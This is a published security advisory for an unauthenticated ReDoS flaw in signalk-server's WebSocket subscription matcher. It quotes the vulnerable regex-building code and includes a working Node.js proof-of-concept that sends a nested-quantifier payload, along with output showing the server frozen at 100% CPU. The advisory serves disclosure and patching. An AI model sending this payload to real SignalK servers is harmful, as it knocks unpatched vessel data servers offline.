Unauthenticated Regular Expression Denial of Service (ReDoS) via WebSocket Subscription Paths

High **tkurki** published **GHSA-7gcj-phff-2884** 2 days ago

Package

signalk-server (npm)

Affected versions	Patched versions
All versions prior to a fix	2.25.0

Description

Summary

The SignalK server is vulnerable to an unauthenticated Regular Expression Denial of Service (ReDoS) attack within its WebSocket subscription handling logic. By injecting unescaped regex metacharacters into the `context` parameter of a stream subscription, an attacker can force the server's Node.js event loop into a catastrophic backtracking loop when evaluating long string identifiers (like the server's self UUID). This results in a total Denial of Service (DoS) where the server CPU spikes to 100% and becomes completely unresponsive to further API or socket requests.

Description

The vulnerability stems from flawed string-to-regex conversion in `signalk-server/src/subscriptionmanager.ts`. The `contextMatcher()` and `pathMatcher()` functions convert wildcard strings (e.g., `*`) into regular expressions to match incoming data against client subscriptions.

While the code attempts to escape `.` and `*` characters, it fails to escape other dangerous regular expression metacharacters—such as `+`, `(`, `)`, `?`, `[`, and `]`. Because of this, an attacker can submit a crafted `context` that contains nested quantifiers (e.g., `([a-z0-9:-]+)+!`). When the server attempts to test this malicious regex against legitimate, lengthy data identifiers (like `vessels.urn:mrn:signalk:uuid:d384dc156010`), the regex engine fails to find a match at the end of the string but initiates billions of catastrophic backtracking operations trying to resolve the nested combinations. Since Node.js runs on a single-threaded event loop, this locks up the thread indefinitely.

Affected Code Blocks & Files

File: `signalk-server/src/subscriptionmanager.ts`

Affected lines for Context subscriptions (282-300):

```
function contextMatcher(...) {
  if (subscribeCommand.context) {
    if (isString(subscribeCommand.context)) {
      const pattern = subscribeCommand.context
        .replace(/\./g, '\\.')
        .replace(/\*/g, '.*')
      const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: User input compi
      return (normalizedDeltaData: WithContext) =>
        matcher.test(normalizedDeltaData.context) ||
```

Affected lines for Path subscriptions (276-280):

```
function pathMatcher(path: string = '*') {
  const pattern = path.replace(/\./g, '\\.').replace(/\*/g, '.*')
  const matcher = new RegExp('^' + pattern + '$') // VULNERABILITY: Same issue here
  return (aPath: string) => matcher.test(aPath)
}
```

Proof of Concept (PoC) Steps

```
const WebSocket = require('ws');
const http = require('http');

const HOST = 'localhost';
const PORT = 3000;
const WS_URL = `ws://${HOST}:${PORT}/signalk/v1/stream?subscribe=none`;
// Use the API endpoint to measure real server processing lag (requires JSON
serialization)
const HTTP_URL = `http://${HOST}:${PORT}/signalk/v1/api/`;

console.log(`[+] Target Server API: ${HTTP_URL}`);
console.log(`[+] Target WebSocket: ${WS_URL}`);
```

```
let requestCount = 0;

// Polling function to check server responsiveness and compute delay
function checkServerStatus() {
    const startTime = Date.now();
    requestCount++;
    const reqId = requestCount;

    const req = http.get(HTTP_URL, (res) => {
        let size = 0;
        res.on('data', chunk => { size += chunk.length; });
        res.on('end', () => {
             const latency = Date.now() - startTime;
             console.log(`[HTTP #${reqId}] API responded in ${latency}ms (Data size:
${size} bytes)`);
        });
    });

    req.on('error', (err) => {
        console.log(`[HTTP #${reqId} ERROR] Connection refused/dropped.`);
    });

    // Timeout if the event loop is blocked
    req.setTimeout(2000, () => {
        console.log(`[HTTP #${reqId} TIMEOUT] Server is completely blocked! Node
event loop is frozen.`);
        req.destroy();
    });
}

// Start polling every 1 second
console.log('[+] Starting baseline HTTP polling...');
const pollInterval = setInterval(checkServerStatus, 1000);

// Wait a few seconds to establish a baseline, then launch the ReDoS
setTimeout(() => {
    console.log(`\n[!] Initiating WebSocket connection to launch ReDoS attack...`);
    const ws = new WebSocket(WS_URL);

    ws.on('open', () => {
        console.log('[+] WebSocket Connected! Sending catastrophic ReDoS
payload...');

        // This regex exploits the unescaped Regex metacharacters in context matcher.
        // It forms: `^vessels\.([a-z0-9:-]+)+!$`
        // When evaluated against `vessels.urn:mrn:signalk:uuid:xxx` (38+
characters),
        // the nested quantifier `([a-z0-9:-]+)+` will result in 2^38 evaluations
        // because it fails to find the '!' at the end. This reliably freezes V8.
        const pocPayload = {
            context: "vessels.([a-z0-9:-]+)+!",
            announceNewPaths: true,
            subscribe: [{ path: "*" }]
        };

        ws.send(JSON.stringify(pocPayload));
```

```
        console.log('[!] Payload sent. The server should instantly freeze. Watch the
HTTP pollers now...\n');
    });

    ws.on('error', (err) => {
        console.error(`[-] WebSocket Error: ${err.message}`);
    });

}, 3500);

// Automatically shut down the test after 15 seconds
setTimeout(() => {
    console.log(`\n[+] Test complete. Stopping pollers.`);
    clearInterval(pollInterval);
    process.exit(0);
}, 15000);
```

```
PS C:\Users\Vashu\Desktop\Projects\ZeroDay\cve_hunt\signalk-server> node ws_redos_poc.js
[+] Target Server: http://localhost:3000/
[+] Target WebSocket: ws://localhost:3000/signalk/v1/stream?subscribe=none
[+] Starting baseline HTTP polling...
[HTTP] Server responded in 136ms (Status: 302)
[HTTP] Server responded in 47ms (Status: 302)
[HTTP] Server responded in 42ms (Status: 302)
[HTTP TIMEOUT] Server is Unresponsive! (Event loop is likely blocked)

[!] Initiating WebSocket connection to launch ReDoS attack...
[+] WebSocket Connected! Sending catastrophic ReDoS payload...
[!] Payload sent. Watch the HTTP pollers now...

[HTTP] Server responded in 34ms (Status: 302)
[HTTP TIMEOUT] Server is Unresponsive! (Event loop is likely blocked)
[HTTP] Server responded in 12ms (Status: 302)
[HTTP TIMEOUT] Server is Unresponsive! (Event loop is likely blocked)
[HTTP TIMEOUT] Server is Unresponsive! (Event loop is likely blocked)
[HTTP] Server responded in 43ms (Status: 302)
[HTTP TIMEOUT] Server is Unresponsive! (Event loop is likely blocked)
```

Impact

This vulnerability achieves a complete **Denial of Service (DoS)** against the SignalK server. A single unauthenticated WebSocket connection can send the catastrophic payload, which permanently locks the main Node.js event loop.

```
CONTAINER ID   NAME          CPU %     MEM USAGE / LIMIT     MEM %     NET I/O
 BLOCK I/O        PIDS
fcbad033e492   signalk-test   100.08%   142.2MiB / 7.381GiB   1.88%     164kB / 169kB
 152kB / 8.19kB   15
```

Severity

High 7.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2026-39320

Weaknesses

- CWE-400
- CWE-1333

Credits

VashuVats Reporter